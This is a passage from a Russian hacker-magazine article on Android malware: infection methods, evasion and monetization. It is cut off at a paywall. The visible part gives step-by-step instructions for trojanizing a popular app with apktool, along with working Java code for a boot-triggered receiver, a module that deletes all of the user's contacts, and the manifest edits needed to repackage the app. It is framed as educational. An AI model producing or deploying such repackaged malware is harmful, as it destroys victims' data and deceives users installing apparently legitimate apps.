События

Анатомия Android-малвари: способы заражения, обхода сканеров Google, негласного рута и монетизации современных зловредов

Анатомия Android-малвари: способы заражения, обхода сканеров Google, негласного рута и монетизации современных зловредов

В наше время люди доверяют все больше личной информации смартфонам и планшетам. Просмотреть аккаунты в соцсетях, фотографии и почтовые сообщения, узнать банковские данные, местоположение и даже распорядок дня можно, получив доступ к данным cмартфона. Злоумышленники используют ошибки в программном обеспечении, недокументированные возможности, а в большинстве случаев — людские слабости и пороки, чтобы внедрить малварь на устройство. Вредоносные программы становятся все хитрее и изворотливее, пытаясь скрыть свое присутствие. И если одни просто вываливают на пользователя кучу рекламы, то другие вовсе не так безобидны. Хорошeнько обосновавшись на смартфоне, они шантажируют юзера, заставляя его платить за доступ к своим же данным, а то и следят за каждым его шагом и действием. О самых модных тенденциях в создании и распространении вирусов и пойдет речь в этой статье.

Анатомия Android-малвари: способы заражения, обхода сканеров Google, негласного рута и монетизации современных зловредов

WARNING

Все описанные в статье моменты проиллюстрированы большим количеством откомментированного кода. Автор и редакция не несут ответственности за неправомерное использование информации из данного материала. Листинги представлены исключительно в образовательных целях!

Заражение

Самый простой и распространенный способ заражения — взять популярную программу, расковырять ее и вставить внутрь нехороший код. Затем запаковать и выдать за бесплатную версию или версию с дополнительными функциями. Такие программы «с сюрпризом» появляются не только в неофициальных магазинах приложений для Android, периодически они просачиваются и на официальный Play Market.

Реализуется такой подлог очень просто.

  1. Злоумышленник скачивает APK популярной программы с маркета, воспользовавшись, к примеру, этим сервисом.
  2. Распакoвывает приложение утилитой apktool:

    apktool -d <имя файла приложения>

  3. Пишет код зловреда, например получатель широкоформатных уведомлений, который срабатывает после перезагрузки устройства и начинает посылать команды другим частям зловреда каждую секунду:

    public class VirusController extends BroadcastReciever {

     public void onReceive(Context context, Intent intent) {       AlarmManager service = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE);       Intent i = new Intent(context, RunTrojan.class);       i.setAction("android.trojan.action.EXTERMINATE");       PendingIntent pending = PendingIntent.getBroadcast(context, 0, i, PendingIntent.FLAG_CANCEL_CURRENT);       service.setInexactRepeating(AlarmManager.RTCWAKEUP, Calendar.getInstance().getTimeInMillis(), 1000, pending);   }

    }

  4. Здесь один из модулей реагирует на событие android.trojan.action.EXTERMINATE и уничтожает все контактные данные пользователя:

    public class ExterminateModule extends BroadcastReceiver {

     public void onReceive(Context context, Intent intent) {       ContentResolver contentResolver = context.getContentResolver();       Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);       while (cursor.moveToNext()) {           String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));           Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey);           contentResolver.delete(uri, null, null);       }   }

    }

Теперь хакеру нужно скомпилировать код вирусa, а затем распаковать, используя все тот же apktool. Затем он добавляет smali-файлы вируса к smali-файлам программы-жертвы. Подправляет AndroidManifest, включает нужные разрешения и объявления получателей уведомлений:

<uses-permission android:name="android.permission.READ_CONTACTS"/>  <uses-permission android:name="android.permission.WRITE_CONTACTS"/>  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>  ...  <receiver android:name="android.trojan.ExterminateModule">      <intent-filter>          <action android:name="android.trojan.action.EXTERMINATE"/>      </intent-filter>  </receiver>  <receiver android:name="android.trojan.VirusController">      <intent-filter>          <action android:name="android.intent.action.BOOTCOMPLETED"/>      </intent-filter>  </receiver>

Осталось упаковать программу-жертву обратно все той же утилитой apktool, и приложение «с подарочком» готово.

apktool b <папка с приложением>

Если в качестве жертвы выбрать приложение с подходящими разрешениями, то оно не вызовет у пользователя ни малейших подозрений! Если же подобрать необходимые разрешения не получается, то вирусам приходится заставлять пользователя дать им расширенные права, показывая свой диалог поверх системного.

Например, так поступают Trojan-Banker.AndroidOS.Asacub и Trojan-SMS.AndroidOS.Tiny.aw. Да-да, Android позволяет создавать окна, которые будут отображаться поверх всех остальных приложений и диалогов, в том числе и системных. Для этого понадобится всего лишь создать нужный View и добавить его в WindowManager:

Извини, но продолжение статьи доступно только подписчикам

Вариант 1. Подпишись на журнал «Хакер» по выгодной цене

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем банковские карты, Яндекс.Деньги и оплату со счетов мобильных операторов. Подробнее о проекте

1 год

3900 р.

Экономия 900 рублей!

1 месяц

400 р.

25-30 статей в месяц

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: в каждом выпуске журнала можно открыть не более одной статьи.

Уже подписан?

Автор: Сергей Куприянов
5.08.2016 (09:30)
Пройди тест и узнай об этом!
Информер новостей
Расширение для Google Chrome
Пишите нам

Редакция: info@alterprogs.ru

Реклама: adv@alterprogs.ru

Все права защищены © 2010-2017

"Alterprogs.ru" - технологии будущего

Контакты  | Карта сайта

Использование любых материалов, размещенных на сайте, разрешается при условии ссылки на alterprogs.ru. Для интернет-изданий - обязательна прямая открытая для поисковых систем гиперссылка. Ссылка должна быть размещена в независимости от полного либо частичного использования материалов. Материалы в рубрике "Новости партнеров" публикуются на правах рекламы.